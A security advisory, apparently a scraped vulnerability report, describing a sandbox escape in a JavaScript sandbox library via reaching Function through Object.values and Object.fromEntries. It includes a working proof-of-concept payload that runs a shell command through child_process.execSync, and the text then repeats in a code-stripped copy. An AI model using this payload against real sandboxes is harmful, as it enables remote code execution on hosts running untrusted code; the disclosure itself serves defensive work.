Summary
It is possible to obtain arrays containing Function, which allows escaping the sandbox.
Details
There are various ways to get an array containing Function, e.g.
Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]
Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.
PoC
const s = require('.').default;
const sb = new s();
payload = `
const p = (async function () {})();
({
"finally": p.finally,
...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;
sb.compile(payload)().run();Impact
Sandbox Escape -> RCE
References
c0rydoras Finder
Summary
It is possible to obtain arrays containing
Function, which allows escaping the sandbox.Details
There are various ways to get an array containing
Function, e.g.Given an array containing
Function, andObject.fromEntries, it is possible to construct{[p]: Function}wherepis any constructible property. This can be used to escape the sandbox.PoC
Impact
Sandbox Escape -> RCE
References